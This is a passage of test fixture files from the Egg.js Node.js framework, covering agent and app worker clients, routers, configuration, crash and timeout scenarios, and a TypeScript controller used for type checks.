    "content": "'use strict';\n\nmodule.exports = (app) => {\n  const options = app.config.mock;\n\n  app.mockClient = app.createAppWorkerClient(\n    'mock',\n    {\n      on(event, listner) {\n        return this._on(event, listner);\n      },\n      once(event, listner) {\n        return this._once(event, listner);\n      },\n      removeListener(event, listner) {\n        return this._removeListener(event, listner);\n      },\n      removeAllListeners(event) {\n        return this._removeAllListeners(event);\n      },\n      subscribe(reg, listner) {\n        return this._subscribe(reg, listner);\n      },\n      unSubscribe(reg, listner) {\n        return this._unSubscribe(reg, listner);\n      },\n      *getData(key) {\n        return yield this._invoke('getData', [key]);\n      },\n      *getError() {\n        return yield this._invoke('getError', []);\n      },\n      *getTimeout() {\n        return yield this._invoke('getTimeout', []);\n      },\n      *getDataGenerator(key) {\n        return yield this._invoke('getDataGenerator', [key]);\n      },\n      *save(key, value) {\n        return yield this._invoke('save', [key, value]);\n      },\n      saveCallback(key, value, callback) {\n        this._invoke('save', [key, value]).then(callback, callback);\n      },\n      saveAsync(key, value) {\n        this._invokeOneway('save', [key, value]);\n      },\n    },\n    options,\n  );\n\n  app.mockClient.ready(app.readyCallback('worker_mock_client'), {\n    isWeakDep: app.config.runMode === 0,\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-app/plugins/mock-client/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = () => {\n  return {\n    mock: {\n      name: 'mock',\n    },\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-app/plugins/mock-client/mock_client.js",
    "content": "const EventEmitter = require('events').EventEmitter;\nconst { sleep } = require('../../../../../utils');\n\nclass MockClient extends EventEmitter {\n  constructor(options) {\n    super();\n\n    this.cache = new Map();\n\n    setImmediate(\n      function () {\n        this.ready(true);\n      }.bind(this),\n    );\n  }\n\n  ready(flagOrFunction) {\n    this._ready = !!this._ready;\n    this._readyCallbacks = this._readyCallbacks || [];\n\n    if (typeof flagOrFunction === 'function') {\n      this._readyCallbacks.push(flagOrFunction);\n    } else {\n      this._ready = !!flagOrFunction;\n    }\n\n    if (this._ready) {\n      this._readyCallbacks.splice(0, Infinity).forEach(function (callback) {\n        process.nextTick(callback);\n      });\n    }\n    return this;\n  }\n\n  getCallback(key, callback) {\n    setTimeout(function () {\n      if (id === 'error') {\n        callback(new Error('mock error'));\n      } else {\n        callback(null, this.cache.get(key));\n      }\n    }, 100);\n  }\n\n  getData(key) {\n    return new Promise((resolve, reject) => {\n      setTimeout(() => {\n        resolve(this.cache.get(key));\n      }, 100);\n    });\n  }\n\n  *getTimeout() {\n    yield sleep(6000);\n    return 'timeout';\n  }\n\n  *getDataGenerator(key) {\n    yield sleep(100);\n    return this.cache.get(key);\n  }\n\n  *save(key, value) {\n    yield sleep(100);\n    this.cache.set(key, value);\n  }\n\n  getError() {\n    return new Promise((resolve, reject) => {\n      setTimeout(() => {\n        reject(new Error('mock error'));\n      }, 100);\n    });\n  }\n}\n\nmodule.exports = MockClient;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-app-sync/agent.js",
    "content": "'use strict';\n\nmodule.exports = (agent) => {\n  agent.startAgent({\n    name: 'test',\n    client: { ready: (cb) => cb() },\n    subscribe: (info, cb) => cb('test'),\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-app-sync/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', async function () {\n    this.body = this.app.arg;\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-app-sync/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  const done = app.readyCallback();\n  const test = app.createAppWorkerClient('test', {\n    listen(cb) {\n      this._subscribe('listening', cb);\n    },\n  });\n  test.listen((arg) => {\n    app.arg = arg;\n    done();\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-app-sync/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-app-sync/package.json",
    "content": "{\n  \"name\": \"agent-app-sync\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-client-app/agent.js",
    "content": "'use strict';\n\nmodule.exports = function initAgent(agent) {\n  const client = {\n    'mock-data': 'mock-data',\n    'not-exist-data': null,\n    ready(cb) {\n      setImmediate(cb);\n    },\n  };\n\n  agent.startAgent({\n    name: 'sub-client',\n    client,\n    subscribe(info, listener) {\n      listener(client[info]);\n    },\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-client-app/app/router.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  const done = app.readyCallback('app_subscribe_data');\n  app.subClient.subscribe('mock-data', (val) => {\n    app.mockData = val;\n    done();\n  });\n\n  const done1 = app.readyCallback('app_subscribe_not_exist_data');\n  app.subClient.subscribe('not-exist-data', (val) => {\n    app.notExistData = val;\n    done1();\n  });\n\n  app.get('/', async function () {\n    const val = await new Promise((resolve) => {\n      app.subClient.subscribe('mock-data', (val) => {\n        resolve(val);\n      });\n    });\n\n    this.body = {\n      'mock-data': val,\n      'app-mock-data': app.mockData,\n    };\n  });\n\n  app.get('/not-exist', async function () {\n    const _val = await new Promise((resolve) => {\n      app.subClient.subscribe('not-exist-data', (val) => {\n        resolve(val);\n      });\n    });\n\n    this.body = {\n      'not-exist-data': null,\n      'app-not-exist-data': null,\n    };\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-client-app/app.js",
    "content": "'use strict';\n\nmodule.exports = function initApp(app) {\n  app.subClient = app.createAppWorkerClient('sub-client', {\n    subscribe(info, listener) {\n      this._subscribe(info, listener);\n      return this;\n    },\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-client-app/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-client-app/package.json",
    "content": "{\n  \"name\": \"agent-client-app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-die/agent.js",
    "content": "setTimeout(() => {\n  throw new Error('app worker throw');\n}, 5000);\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-die/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-die/package.json",
    "content": "{\n  \"name\": \"agent-die\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-die/start.js",
    "content": "'use strict';\n\nconst utils = require('../../../utils');\n\nrequire('../../../../index').startCluster({\n  baseDir: __dirname,\n  workers: 1,\n});\n\nsetTimeout(() => {\n  process.exit();\n  // coverage will be slow\n}, 5000);\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-logger-config/config/config.default.js",
    "content": "'use strict';\n\nmodule.exports = {\n  logger: {\n    dir: '/tmp/foo',\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-logger-config/package.json",
    "content": "{\n  \"name\": \"agent-logger-config\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-restart/agent.js",
    "content": "'use strict';\n\nconst client = require('./client');\n\nmodule.exports = (agent) => {\n  agent.startAgent({\n    name: 'mock',\n    client: client,\n    subscribe: function (reg, listener) {\n      console.log('agent subscribe', reg);\n    },\n  });\n\n  agent.messenger.on('die', () => {\n    process.exit(1);\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-restart/app.js",
    "content": "'use strict';\n\nconst client = require('./client');\n\nmodule.exports = (app) => {\n  const mock = app.createAppWorkerClient('mock', {\n    subscribe: function (info, listener) {\n      this._subscribe(info, listener);\n      return this;\n    },\n  });\n\n  mock.subscribe('aaa', (data) => console.log(data));\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-restart/client.js",
    "content": "module.exports = {\n  ready: (cb) => cb(),\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-restart/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-restart/package.json",
    "content": "{\n  \"name\": \"agent-restart\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-throw/agent.js",
    "content": "module.exports = (agent) => {\n  agent.messenger.on('agent-throw', () => {\n    throw new Error('agent error in sync function');\n  });\n\n  agent.messenger.on('agent-throw-async', async () => {\n    throw new Error('agent error in async function');\n  });\n\n  agent.messenger.on('agent-throw-string', () => {\n    throw 'agent error string';\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-throw/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/agent-throw', async function () {\n    app.messenger.broadcast('agent-throw');\n    this.body = 'done';\n  });\n\n  app.get('/agent-throw-async', async function () {\n    app.messenger.broadcast('agent-throw-async');\n    this.body = 'done';\n  });\n\n  app.get('/agent-throw-string', async function () {\n    app.messenger.broadcast('agent-throw-string');\n    this.body = 'done';\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-throw/config/config.default.js",
    "content": "exports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-throw/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/agent-throw/package.json",
    "content": "{\n  \"name\": \"agent-throw\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/aliyun-egg/agent.js",
    "content": "'use strict';\n\nmodule.exports = (agent) => {};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/aliyun-egg/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app['aliyun-egg'] = {};\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/aliyun-egg/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/aliyun-egg/config/plugin.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = {\n  custom: {\n    enable: true,\n    path: path.join(__dirname, '../lib/plugins/custom'),\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/aliyun-egg/index.js",
    "content": "'use strict';\n\nconst egg = require('../../../..');\n\nmodule.exports = egg;\nmodule.exports.Application = require('./lib/aliyun-egg');\nmodule.exports.Agent = require('./lib/agent');\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/aliyun-egg/lib/agent.js",
    "content": "'use strict';\n\nconst path = require('path');\nconst egg = require('../../../../..');\nconst Agent = egg.Agent;\nconst AppWorkerLoader = egg.AppWorkerLoader;\n\nclass MyAgent extends Agent {\n  constructor(options) {\n    super(options);\n  }\n\n  get [Symbol.for('egg#eggPath')]() {\n    return path.join(__dirname, '..');\n  }\n}\n\nmodule.exports = MyAgent;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/aliyun-egg/lib/aliyun-egg.js",
    "content": "'use strict';\n\nconst path = require('path');\nconst egg = require('../../../../..');\nconst Application = egg.Application;\nconst AppWorkerLoader = egg.AppWorkerLoader;\n\nclass Loader extends AppWorkerLoader {\n  constructor(options) {\n    super(options);\n  }\n\n  loadConfig() {\n    this.loadServerConf();\n    super.loadConfig();\n  }\n\n  loadServerConf() {}\n}\n\nclass ChairApplication extends Application {\n  constructor(options) {\n    super(options);\n  }\n\n  get [Symbol.for('egg#eggPath')]() {\n    return path.join(__dirname, '..');\n  }\n\n  get [Symbol.for('egg#loader')]() {\n    return Loader;\n  }\n}\n\nmodule.exports = ChairApplication;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/aliyun-egg/lib/plugins/custom/agent.js",
    "content": "'use strict';\n\nmodule.exports = (agent) => {\n  agent.messenger.on('custom-aliyun-egg-worker', (data) => {\n    agent.messenger.broadcast('custom-aliyun-egg-agent', data);\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/aliyun-egg/lib/plugins/custom/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.custom = {};\n  app.messenger.broadcast('custom-aliyun-egg-worker', 123);\n  app.messenger.on('custom-aliyun-egg-agent', (data) => {\n    app.agent = data;\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/aliyun-egg/package.json",
    "content": "{\n  \"name\": \"aliyun-egg\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/aliyun-egg-app/app/controller/home.js",
    "content": "'use strict';\n\nmodule.exports = async function () {\n  this.body = {\n    'aliyun-egg-core': !!this.app['aliyun-egg'],\n    'aliyun-egg-plugin': !!this.app.custom,\n    'aliyun-egg-agent': !!this.app.agent,\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/aliyun-egg-app/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', app.controller.home);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/aliyun-egg-app/config/config.default.js",
    "content": "exports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/aliyun-egg-app/package.json",
    "content": "{\n  \"name\": \"aliyun-egg-app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/aliyun-egg-biz/index.js",
    "content": "'use strict';\n\nmodule.exports = require('../aliyun-egg');\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/aliyun-egg-biz/package.json",
    "content": "{\n  \"name\": \"aliyun-egg-biz\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-config-cookies/app/controller/home.js",
    "content": "module.exports = async (ctx) => {\n  ctx.cookies.set('foo', 'bar');\n  ctx.body = 'hello';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-config-cookies/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('home', '/', 'home');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-config-cookies/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n\nexports.cookies = {\n  sameSite: 'lax',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-config-cookies/package.json",
    "content": "{\n  \"name\": \"app-config-cookies\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-die/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/exit', async function () {\n    process.exit(1);\n  });\n\n  app.get('/uncaughtException', async function () {\n    setTimeout(() => {\n      throw new Error('get uncaughtException');\n    }, 100);\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-die/config/config.default.js",
    "content": "exports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-die/package.json",
    "content": "{\n  \"name\": \"app-die\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-die-ignore-code/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/uncaughtException', async function () {\n    setTimeout(() => {\n      const error = new Error('MockError');\n      error.code = 'EMOCKERROR';\n      throw error;\n    }, 100);\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-die-ignore-code/config/config.default.js",
    "content": "exports.keys = 'foo';\n\nexports.serverGracefulIgnoreCode = ['EMOCKERROR'];\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-die-ignore-code/package.json",
    "content": "{\n  \"name\": \"app-die-ignore-code\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-enableFastContextLogger/app/controller/home.js",
    "content": "exports.index = async (ctx) => {\n  ctx.logger.info('enableFastContextLogger: %s', ctx.app.config.logger.enableFastContextLogger);\n  ctx.body = {\n    enableFastContextLogger: ctx.app.config.logger.enableFastContextLogger,\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-enableFastContextLogger/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', 'home.index');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-enableFastContextLogger/config/config.default.js",
    "content": "exports.keys = 'tracer-demo keys';\n\nexports.logger = {\n  enableFastContextLogger: true,\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-enableFastContextLogger/package.json",
    "content": "{\n  \"name\": \"demo_app\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-enablePerformanceTimer-true/app/controller/home.js",
    "content": "module.exports = async (ctx) => {\n  ctx.body = 'hello performanceStarttime: ' + ctx.performanceStarttime;\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-enablePerformanceTimer-true/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('home', '/', 'home');\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-enablePerformanceTimer-true/config/config.default.js",
    "content": "'use strict';\n\nexports.logger = {\n  level: 'DEBUG',\n  enablePerformanceTimer: true,\n};\n\nexports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-enablePerformanceTimer-true/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-enablePerformanceTimer-true/package.json",
    "content": "{\n  \"name\": \"app-enablePerformanceTimer-true\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-locals-getter/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/test', function () {\n    this.app.locals.foo = 'bar';\n    this.locals.abc = '123';\n    this.body = {\n      locals: this.locals,\n    };\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-locals-getter/config/config.default.js",
    "content": "exports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-locals-getter/package.json",
    "content": "{\n  \"name\": \"app-locals-getter\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-router/app/controller/home.js",
    "content": "module.exports = async function () {\n  this.body = 'hello';\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-router/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('home', '/', 'home');\n  app.get('/home', app.controller.home);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-router/config/config.default.js",
    "content": "exports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-router/config/plugin.js",
    "content": "exports.schedule = {\n  enable: false,\n};\n\nexports.logrotator = false;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-router/package.json",
    "content": "{\n  \"name\": \"app-router\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-runInAnonymousContextScope/app.js",
    "content": "module.exports = class Boot {\n  constructor(app) {\n    this.app = app;\n  }\n\n  async beforeClose() {\n    await this.app.runInAnonymousContextScope(async (ctx) => {\n      ctx.logger.info('inside before close on ctx logger');\n      this.app.logger.info('inside before close on app logger');\n    });\n    this.app.logger.info('outside before close on app logger');\n  }\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-runInAnonymousContextScope/config/config.default.js",
    "content": "exports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-runInAnonymousContextScope/config/config.unittest.js",
    "content": "exports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-runInAnonymousContextScope/package.json",
    "content": "{\n  \"name\": \"app-runInAnonymousContextScope\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-runInAnonymousContextScope-withRequest/app.js",
    "content": "module.exports = class Boot {\n  constructor(app) {\n    this.app = app;\n  }\n\n  async beforeClose() {\n    const request = {\n      headers: {\n        host: '127.0.0.2',\n        'x-forwarded-for': '127.0.0.2',\n      },\n      querystring: 'Testing',\n      host: '127.0.0.2',\n      hostname: '127.0.0.2',\n      protocol: 'http',\n      secure: 'false',\n      method: 'GET',\n      url: '/',\n      path: '/',\n      socket: {\n        remoteAddress: '127.0.0.2',\n        remotePort: 7001,\n      },\n    };\n\n    await this.app.runInAnonymousContextScope(async (ctx) => {\n      ctx.logger.info('inside before close on ctx logger');\n      this.app.logger.info('inside before close on app logger');\n    }, request);\n    this.app.logger.info('outside before close on app logger');\n  }\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-runInAnonymousContextScope-withRequest/config/config.default.js",
    "content": "exports.keys = 'foo';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-runInAnonymousContextScope-withRequest/config/config.unittest.js",
    "content": "exports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-runInAnonymousContextScope-withRequest/package.json",
    "content": "{\n  \"name\": \"app-runInAnonymousContextScope-withRequest\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-server/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', function () {\n    this.body = this.app.serverEmit;\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-server/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.on('server', (server) => {\n    app.serverEmit = true;\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-server/config/config.default.js",
    "content": "exports.keys = 'my keys';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-server/package.json",
    "content": "{\n  \"name\": \"app-server\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-server-customized-client-error/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', function () {\n    this.body = this.app.serverEmit;\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-server-customized-client-error/app.js",
    "content": "module.exports = (app) => {\n  app.on('server', () => {\n    app.serverEmit = true;\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-server-customized-client-error/config/config.default.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nexports.keys = 'my keys';\n\nlet times = 0;\nexports.onClientError = async (err, socket, app) => {\n  app.logger.error(err);\n  await scheduler.wait(50);\n\n  times++;\n  if (times === 2) times = 0;\n  if (!times) throw new Error('test throw');\n\n  return {\n    body: err.rawPacket,\n    headers: { foo: 'bar', 'Content-Length': 100 },\n    status: 418,\n  };\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-server-customized-client-error/package.json",
    "content": "{\n  \"name\": \"app-server\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-server-timeout/app/router.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = (app) => {\n  app.get('/', async (ctx) => {\n    ctx.body = 'ok';\n  });\n\n  app.get('/timeout', async (ctx) => {\n    await scheduler.wait(500);\n    ctx.body = 'timeout';\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-server-timeout/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.messenger.on('egg-ready', () => {\n    // https://github.com/eggjs/egg/pull/3222\n    // for general use, alinode will monitor all slow requests so you don't need to log it manually, just for showcase here.\n    app.server.on('timeout', (socket) => {\n      const req = socket.parser.incoming;\n      if (req && socket._httpMessage) {\n        app.coreLogger.warn(\n          '[http_server] A request `%s %s` timeout with client (%s:%d)',\n          req.method,\n          req.url,\n          socket.remoteAddress,\n          socket.remotePort,\n        );\n      }\n      socket.destroy();\n    });\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-server-timeout/config/config.default.js",
    "content": "exports.keys = 'my keys';\n\nexports.serverTimeout = 100;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-server-timeout/package.json",
    "content": "{\n  \"name\": \"app-server-timeout\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-server-with-hostname/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', function () {\n    this.body = 'done';\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-server-with-hostname/config/config.default.js",
    "content": "'use strict';\n\nconst address = require('address');\n\nexports.keys = 'my keys';\nexports.cluster = {\n  listen: {\n    hostname: address.ip(),\n  },\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-server-with-hostname/package.json",
    "content": "{\n  \"name\": \"app-server-with-hostname\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-start-timeout/app.js",
    "content": "'use strict';\n\nmodule.exports = function (app) {\n  const done = app.readyCallback('app-timeout');\n  setTimeout(done, 30000);\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-start-timeout/config/config.default.js",
    "content": "'use strict';\n\nexports.workerStartTimeout = 1000;\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-start-timeout/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-start-timeout/package.json",
    "content": "{\n  \"name\": \"app-start-timeout\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-throw/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/throw', function () {\n    this.body = 'foo';\n    setTimeout(() => {\n      a.b = c;\n    }, 1);\n  });\n\n  app.get('/throw-error-setter', function () {\n    this.body = 'foo';\n    setTimeout(() => {\n      const err = new Error('abc');\n      Object.defineProperty(err, 'message', {\n        get() {\n          return 'abc';\n        },\n        set: undefined,\n      });\n      throw err;\n    }, 1);\n  });\n\n  app.get('/throw-unhandledRejection', function () {\n    this.body = 'foo';\n    new Promise((resolve, reject) => {\n      reject(new Error('foo reject error'));\n    });\n  });\n\n  app.get('/throw-unhandledRejection-string', function () {\n    this.body = 'foo';\n    new Promise((resolve, reject) => {\n      reject('foo reject string error');\n    });\n  });\n\n  app.get('/throw-unhandledRejection-obj', function () {\n    this.body = 'foo';\n    new Promise((resolve, reject) => {\n      const err = {\n        name: 'TypeError',\n        message: 'foo reject obj error',\n        stack: new Error().stack,\n        toString() {\n          return this.name + ': ' + this.message;\n        },\n      };\n      reject(err);\n    });\n  });\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-throw/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = 'test key';\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-throw/config/config.unittest.js",
    "content": "'use strict';\n\nexports.logger = {\n  consoleLevel: 'NONE',\n};\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-throw/package.json",
    "content": "{\n  \"name\": \"app-throw\"\n}\n"
  },
  {
    "path": "packages/egg/test/fixtures/apps/app-ts/app/controller/foo.ts",
    "content": "import { strict as assert } from 'assert';\n\nimport {\n  Controller,\n  RequestObjectBody,\n  Context,\n  EggLogger,\n  // HttpClient,\n  EggHttpClient,\n  EggContextHttpClient,\n} from '../../../../../../src/index.js';\n\nimport type { RequestOptions as RequestOptionsNext } from 'urllib';\nimport type { RequestOptions2, RequestOptions } from 'urllib';\n\n// add user controller and service\ndeclare module 'egg' {\n  interface IController {\n    foo: FooController;\n  }\n}\n\n// controller\nexport default class FooController extends Controller {\n  ctxHttpClient: EggContextHttpClient;\n  appHttpClient: EggHttpClient;\n  fooLogger: EggLogger;\n\n  constructor(ctx: Context) {\n    super(ctx);\n    this.appHttpClient = ctx.app.httpclient;\n    this.ctxHttpClient = ctx.httpclient;\n    this.fooLogger = ctx.getLogger('foo');\n    assert(ctx.app.ctxStorage);\n    assert(ctx.app.currentContext);\n\n    // router\n    console.log(ctx.app.router.url('foo'));\n    console.log(ctx.app.router.url('foo', {}));\n    console.log(ctx.app.router.pathFor('foo'));\n    console.log(ctx.app.router.pathFor('foo', {}));\n    console.log(ctx.app.router.methods);\n  }\n\n  async getData() {\n    try {\n      this.ctx.logger.info('getData');\n      this.ctx.helper.test();\n      this.ctx.body = await this.ctx.service.foo.bar();\n      this.ctx.proxy.foo.bar();\n    } catch (e) {\n      const body: RequestObjectBody = this.ctx.request.body;\n      this.app.logger.info((e as any).name, body.foo);\n    }\n  }\n\n  async getBar() {\n    try {\n      this.ctx.body = await this.service.foo.bar();\n    } catch (e) {\n      this.ctx.logger.error(e);\n    }\n  }\n\n  async requestWithHttpclientNext(request: RequestOptionsNext) {\n    let result = await this.app.curl('url', request);\n    result = await this.ctx.curl('url', request);\n    result = await this.app.httpclient.curl('url', request);\n    result = await this.app.httpclient.request('url', request);\n    result = await this.ctx.httpclient.curl('url', request);\n    result = await this.ctx.httpclient.request('url', request);\n    console.log(result);\n  }\n\n  async requestWithHttpclient(request: RequestOptions) {\n    let result = await this.app.curl('url', request);\n    result = await this.ctx.curl('url', request);\n    result = await this.app.httpclient.curl('url', request);\n    result = await this.app.httpclient.request('url', request);\n    result = await this.ctx.httpclient.curl('url', request);\n    result = await this.ctx.httpclient.request('url', request);\n    console.log(result);\n  }\n\n  async requestWithHttpclient2(request: RequestOptions2) {\n    let result = await this.app.curl('url', request);\n    result = await this.ctx.curl('url', request);\n    result = await this.app.httpclient.curl('url', request);\n    result = await this.app.httpclient.request('url', request);\n    result = await this.ctx.httpclient.curl('url', request);\n    result = await this.ctx.httpclient.request('url', request);\n    console.log(result);\n  }\n\n  async httpclient() {\n    await this.app.httpclient.request('url', {\n      method: 'POST',\n    });\n    await this.ctx.curl('url', {\n      method: 'POST',\n    });\n    await this.app.curl('url', {\n      method: 'POST',\n    });\n  }\n\n  // async testViewRender() {\n  //   const { ctx } = this;\n  //   this.app.logger.info(this.app.view.get('nunjucks'));\n  //   this.app.logger.info(this.app.config.view.root);\n  //   this.app.logger.info(this.app.config.view.defaultExtension);\n  //   ctx.body = await this.ctx.view.render('test.tpl', {\n 